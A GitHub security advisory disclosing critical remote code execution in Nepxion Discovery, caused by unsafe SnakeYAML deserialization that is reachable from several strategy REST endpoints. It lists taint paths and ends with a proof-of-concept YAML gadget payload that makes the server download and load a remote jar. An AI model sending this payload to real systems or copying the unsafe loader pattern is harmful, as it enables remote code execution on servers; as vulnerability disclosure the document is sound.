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Nepxion/Discovery: Remote Code Execution via SnakeYAML Deserialization Gadgets

Critical
JLLeitschuh published GHSA-22cq-8f5q-p5g2 Feb 2, 2023

Package

maven com.nepxion:discovery-common (Maven)

Affected versions

< 6.20.0

Patched versions

6.20.0

Description

Impact

Remote Code Execution vulnerability in the

Vulnerability

This project leverages SnakeYAML to deserialize YAML input into java objects. Unfortunately, this library allows for arbitrary execution of code when deserializing untrusted user input.

discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

        Yaml snakeYaml = new Yaml();

        return snakeYaml.loadAs(yaml, clazz);
    }
}

Unsafe deserialization depends on a user-provided value.

Paths

Path with 8 steps

  1. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        @ApiOperation(value = "根据Yaml格式，反解析版本蓝绿灰度发布策略为Json格式", notes = "", response = ResponseEntity.class, httpMethod = "POST")
    @ResponseBody
    public ResponseEntity<?> convertVersionRelease(@RequestBody @ApiParam(value = "蓝绿灰度策略Yaml", required = true) String conditionStrategyYaml) {
        return doDeparseVersionReleaseYaml(conditionStrategyYaml);
    }

  2. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        @ResponseBody
    public ResponseEntity<?> convertVersionRelease(@RequestBody @ApiParam(value = "蓝绿灰度策略Yaml", required = true) String conditionStrategyYaml) {
        return doDeparseVersionReleaseYaml(conditionStrategyYaml);
    }

  3. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        }

    private ResponseEntity<?> doDeparseVersionReleaseYaml(String conditionStrategyYaml) {
        try {
            ConditionStrategy result = strategyResource.deparseVersionReleaseYaml(conditionStrategyYaml);

  4. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        private ResponseEntity<?> doDeparseVersionReleaseYaml(String conditionStrategyYaml) {
        try {
            ConditionStrategy result = strategyResource.deparseVersionReleaseYaml(conditionStrategyYaml);

            return ResponseUtil.getSuccessResponse(result);

  5. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

    
    @Override
    public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {
        return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);
    }

  6. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

        @Override
    public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {
        return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);
    }

  7. discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

        }

    public static <T> T fromYaml(String yaml, Class<T> clazz) {
        // 非线程安全
        Yaml snakeYaml = new Yaml();

  8. discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

            Yaml snakeYaml = new Yaml();

        return snakeYaml.loadAs(yaml, clazz);
    }
}

discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

        Yaml snakeYaml = new Yaml();

        return snakeYaml.loadAs(yaml, clazz);
    }
}

Unsafe deserialization depends on a user-provided value.

Paths

Path with 10 steps

  1. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        @ApiOperation(value = "根据Yaml格式，解析版本蓝绿灰度发布策略为Xml格式", notes = "", response = ResponseEntity.class, httpMethod = "POST")
    @ResponseBody
    public ResponseEntity<?> parseVersionRelease(@RequestBody @ApiParam(value = "蓝绿灰度策略Yaml", required = true) String conditionStrategyYaml) {
        return doParseVersionRelease(conditionStrategyYaml);
    }

  2. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        @ResponseBody
    public ResponseEntity<?> parseVersionRelease(@RequestBody @ApiParam(value = "蓝绿灰度策略Yaml", required = true) String conditionStrategyYaml) {
        return doParseVersionRelease(conditionStrategyYaml);
    }

  3. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        }

    private ResponseEntity<?> doParseVersionRelease(String conditionStrategyYaml) {
        try {
            String result = strategyResource.parseVersionRelease(conditionStrategyYaml);

  4. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        private ResponseEntity<?> doParseVersionRelease(String conditionStrategyYaml) {
        try {
            String result = strategyResource.parseVersionRelease(conditionStrategyYaml);

            return ResponseUtil.getSuccessResponse(result);

  5. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

    
    @Override
    public String parseVersionRelease(String conditionStrategyYaml) {
        ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);

  6. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

        @Override
    public String parseVersionRelease(String conditionStrategyYaml) {
        ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);

        return parseVersionRelease(conditionStrategy);

  7. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

    
    @Override
    public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {
        return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);
    }

  8. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

        @Override
    public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {
        return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);
    }

  9. discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

        }

    public static <T> T fromYaml(String yaml, Class<T> clazz) {
        // 非线程安全
        Yaml snakeYaml = new Yaml();

  10. discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

            Yaml snakeYaml = new Yaml();

        return snakeYaml.loadAs(yaml, clazz);
    }
}

discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

        Yaml snakeYaml = new Yaml();

        return snakeYaml.loadAs(yaml, clazz);
    }
}

Unsafe deserialization depends on a user-provided value.

Paths

Path with 8 steps

  1. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        @ApiOperation(value = "局部订阅方式，根据Yaml格式，重新创建版本蓝绿灰度发布（创建链路智能编排，不创建条件表达式）", notes = "", response = ResponseEntity.class, httpMethod = "POST")
    @ResponseBody
    public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = "group") @ApiParam(value = "组名", required = true) String group, @PathVariable(value = "serviceId") @ApiParam(value = "服务名", required = true) String serviceId, @RequestBody @ApiParam(value = "蓝绿灰度路由策略Yaml", required = true) String conditionRouteStrategyYaml) {
        return doRecreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);
    }

  2. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        @ResponseBody
    public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = "group") @ApiParam(value = "组名", required = true) String group, @PathVariable(value = "serviceId") @ApiParam(value = "服务名", required = true) String serviceId, @RequestBody @ApiParam(value = "蓝绿灰度路由策略Yaml", required = true) String conditionRouteStrategyYaml) {
        return doRecreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);
    }

  3. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        }

    private ResponseEntity<?> doRecreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {
        try {
            String result = strategyResource.recreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);

  4. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        private ResponseEntity<?> doRecreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {
        try {
            String result = strategyResource.recreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);

            return ResponseUtil.getSuccessResponse(result);

  5. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

    
    @Override
    public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {
        ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);

  6. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

        @Override
    public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {
        ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);

        return recreateVersionRelease(group, serviceId, conditionRouteStrategy);

  7. discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

        }

    public static <T> T fromYaml(String yaml, Class<T> clazz) {
        // 非线程安全
        Yaml snakeYaml = new Yaml();

  8. discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

            Yaml snakeYaml = new Yaml();

        return snakeYaml.loadAs(yaml, clazz);
    }
}

discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

        Yaml snakeYaml = new Yaml();

        return snakeYaml.loadAs(yaml, clazz);
    }
}

Unsafe deserialization depends on a user-provided value.

Paths

Path with 10 steps

  1. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        @ApiOperation(value = "局部订阅方式，根据Yaml格式，创建版本蓝绿灰度发布", notes = "", response = ResponseEntity.class, httpMethod = "POST")
    @ResponseBody
    public ResponseEntity<?> createVersionRelease(@PathVariable(value = "group") @ApiParam(value = "组名", required = true) String group, @PathVariable(value = "serviceId") @ApiParam(value = "服务名", required = true) String serviceId, @RequestBody @ApiParam(value = "蓝绿灰度策略Yaml", required = true) String conditionStrategyYaml) {
        return doCreateVersionRelease(group, serviceId, conditionStrategyYaml);
    }

  2. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        @ResponseBody
    public ResponseEntity<?> createVersionRelease(@PathVariable(value = "group") @ApiParam(value = "组名", required = true) String group, @PathVariable(value = "serviceId") @ApiParam(value = "服务名", required = true) String serviceId, @RequestBody @ApiParam(value = "蓝绿灰度策略Yaml", required = true) String conditionStrategyYaml) {
        return doCreateVersionRelease(group, serviceId, conditionStrategyYaml);
    }

  3. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        }

    private ResponseEntity<?> doCreateVersionRelease(String group, String serviceId, String conditionStrategyYaml) {
        try {
            String result = strategyResource.createVersionRelease(group, serviceId, conditionStrategyYaml);

  4. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        private ResponseEntity<?> doCreateVersionRelease(String group, String serviceId, String conditionStrategyYaml) {
        try {
            String result = strategyResource.createVersionRelease(group, serviceId, conditionStrategyYaml);

            return ResponseUtil.getSuccessResponse(result);

  5. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

    
    @Override
    public String createVersionRelease(String group, String serviceId, String conditionStrategyYaml) {
        ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);

  6. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

        @Override
    public String createVersionRelease(String group, String serviceId, String conditionStrategyYaml) {
        ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);

        return createVersionRelease(group, serviceId, conditionStrategy);

  7. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

    
    @Override
    public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {
        return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);
    }

  8. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

        @Override
    public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {
        return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);
    }

  9. discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

        }

    public static <T> T fromYaml(String yaml, Class<T> clazz) {
        // 非线程安全
        Yaml snakeYaml = new Yaml();

  10. discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

            Yaml snakeYaml = new Yaml();

        return snakeYaml.loadAs(yaml, clazz);
    }
}

discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

        Yaml snakeYaml = new Yaml();

        return snakeYaml.loadAs(yaml, clazz);
    }
}

Unsafe deserialization depends on a user-provided value.

Paths

Path with 10 steps

  1. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        @ApiOperation(value = "全局订阅方式，根据Yaml格式，重新创建版本蓝绿灰度发布（创建链路智能编排，不创建条件表达式）", notes = "", response = ResponseEntity.class, httpMethod = "POST")
    @ResponseBody
    public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = "group") @ApiParam(value = "组名", required = true) String group, @RequestBody @ApiParam(value = "蓝绿灰度路由策略Yaml", required = true) String conditionRouteStrategyYaml) {
        return doRecreateVersionRelease(group, conditionRouteStrategyYaml);
    }

  2. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        @ResponseBody
    public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = "group") @ApiParam(value = "组名", required = true) String group, @RequestBody @ApiParam(value = "蓝绿灰度路由策略Yaml", required = true) String conditionRouteStrategyYaml) {
        return doRecreateVersionRelease(group, conditionRouteStrategyYaml);
    }

  3. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        }

    private ResponseEntity<?> doRecreateVersionRelease(String group, String conditionRouteStrategyYaml) {
        try {
            String result = strategyResource.recreateVersionRelease(group, conditionRouteStrategyYaml);

  4. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        private ResponseEntity<?> doRecreateVersionRelease(String group, String conditionRouteStrategyYaml) {
        try {
            String result = strategyResource.recreateVersionRelease(group, conditionRouteStrategyYaml);

            return ResponseUtil.getSuccessResponse(result);

  5. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

    
    @Override
    public String recreateVersionRelease(String group, String conditionRouteStrategyYaml) {
        return recreateVersionRelease(group, null, conditionRouteStrategyYaml);
    }

  6. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

        @Override
    public String recreateVersionRelease(String group, String conditionRouteStrategyYaml) {
        return recreateVersionRelease(group, null, conditionRouteStrategyYaml);
    }

  7. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

    
    @Override
    public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {
        ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);

  8. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

        @Override
    public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {
        ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);

        return recreateVersionRelease(group, serviceId, conditionRouteStrategy);

  9. discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

        }

    public static <T> T fromYaml(String yaml, Class<T> clazz) {
        // 非线程安全
        Yaml snakeYaml = new Yaml();

  10. discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

            Yaml snakeYaml = new Yaml();

        return snakeYaml.loadAs(yaml, clazz);
    }
}

discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

        Yaml snakeYaml = new Yaml();

        return snakeYaml.loadAs(yaml, clazz);
    }
}

Unsafe deserialization depends on a user-provided value.

Paths

Path with 10 steps

  1. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        @ApiOperation(value = "全局订阅方式，根据Yaml格式，创建版本蓝绿灰度发布", notes = "", response = ResponseEntity.class, httpMethod = "POST")
    @ResponseBody
    public ResponseEntity<?> createVersionRelease(@PathVariable(value = "group") @ApiParam(value = "组名", required = true) String group, @RequestBody @ApiParam(value = "蓝绿灰度策略Yaml", required = true) String conditionStrategyYaml) {
        return doCreateVersionRelease(group, conditionStrategyYaml);
    }

  2. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        @ResponseBody
    public ResponseEntity<?> createVersionRelease(@PathVariable(value = "group") @ApiParam(value = "组名", required = true) String group, @RequestBody @ApiParam(value = "蓝绿灰度策略Yaml", required = true) String conditionStrategyYaml) {
        return doCreateVersionRelease(group, conditionStrategyYaml);
    }

  3. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        }

    private ResponseEntity<?> doCreateVersionRelease(String group, String conditionStrategyYaml) {
        try {
            String result = strategyResource.createVersionRelease(group, conditionStrategyYaml);

  4. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java

        private ResponseEntity<?> doCreateVersionRelease(String group, String conditionStrategyYaml) {
        try {
            String result = strategyResource.createVersionRelease(group, conditionStrategyYaml);

            return ResponseUtil.getSuccessResponse(result);

  5. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

    
    @Override
    public String createVersionRelease(String group, String conditionStrategyYaml) {
        ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);

  6. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

        @Override
    public String createVersionRelease(String group, String conditionStrategyYaml) {
        ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);

        return createVersionRelease(group, conditionStrategy);

  7. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

    
    @Override
    public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {
        return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);
    }

  8. discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java

        @Override
    public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {
        return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);
    }

  9. discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

        }

    public static <T> T fromYaml(String yaml, Class<T> clazz) {
        // 非线程安全
        Yaml snakeYaml = new Yaml();

  10. discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java

            Yaml snakeYaml = new Yaml();

        return snakeYaml.loadAs(yaml, clazz);
    }
}

Proof of Concept

Send the following payload to http://127.0.0.1:9628/strategy/deparse-version-release-yaml.

!!com.nepxion.discovery.common.entity.ConditionStrategy:
    service: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/yaml-payload.jar"]]]]
    blueGreen:
    gray:
    header:
    sort:

This will cause discovery to download the jar hosted at http://localhost:8080 (generated using artsploit/yaml-payload) and attempt to service load an instance of the javax.script.ScriptEngineFactory.

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

References

Severity

Critical
10.0
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2022-1471

Weaknesses

Credits